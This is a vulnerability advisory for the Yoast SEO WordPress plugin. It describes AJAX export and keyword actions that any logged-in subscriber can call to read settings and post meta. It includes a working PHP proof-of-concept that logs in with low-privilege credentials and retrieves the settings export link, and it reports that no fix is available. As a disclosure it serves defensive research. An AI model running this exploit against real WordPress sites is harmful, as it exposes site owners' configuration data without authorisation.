Yoast SEO [Sensitive Data Exposure]

Description

Yoast SEO plugin has a Sensitive Data Exposure vulnerability. Plugin registers the following AJAX action:

  • wpseo_export
  • get_focus_keyword_usage
  • get_term_keyword_usage

These actions are privileged therefor are available only to registered users, but no special capabilities are required to perform them. Any user with a valid account to the infected website can exploit those actions to get information about Yoast SEO settings and post meta relative to focus and terms keywords.

This kind of information should be available only to users with administrative capabilities. To be more precise to users that have the manage_options capability, because plugin’s option pages require this capability by default.

PoC

#!/usr/bin/env php
<?php
/***********************************************************************
 * Yoast SEO - Sensitive Data Exposure - Export Setting Exploit
 *
 * Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
 * Dependencies: Requests for PHP - http://requests.ryanmccue.info
 **********************************************************************/
// Assuming we have installed `Requests for PHP` with composer in vendor dir
require_once 'vendor/autoload.php';

$baseUrl = 'http://wp1.dev';
$ajaxUrl = $baseUrl.'/wp-admin/admin-ajax.php';
$loginUrl = $baseUrl.'/wp-login.php';

$loginPostData = [
    'log'        => 'subscriber',
    'pwd'        => 'password',
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
];

$s = new Requests_Session( $baseUrl );

$r = $s->post( $loginUrl, [ ], $loginPostData );

if ( $r->url == $loginUrl ) {
    echo '[-] Authentication failed' . PHP_EOL;
    exit( 1 );
}

$r = $s->post($ajaxUrl,[], ['action' => 'wpseo_export', ['include_taxonomy' => true]]);

$response = json_decode($r->body);

if(!$response || !isset($response->msg)){
    echo '[-] Unable to get a valid response' . PHP_EOL;
    exit( 1 );
}

preg_match('/href="([^"]+)"/', $response->msg, $matches);

if(!isset($matches[1]) || !$matches[1]){
    echo '[-] Unable to get a valid response' . PHP_EOL;
    exit( 1 );
}

echo "[+] Settings file can be downloaded from `{$matches[1]}`" . PHP_EOL;

exit( 0 );

Solution

No fix available


INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX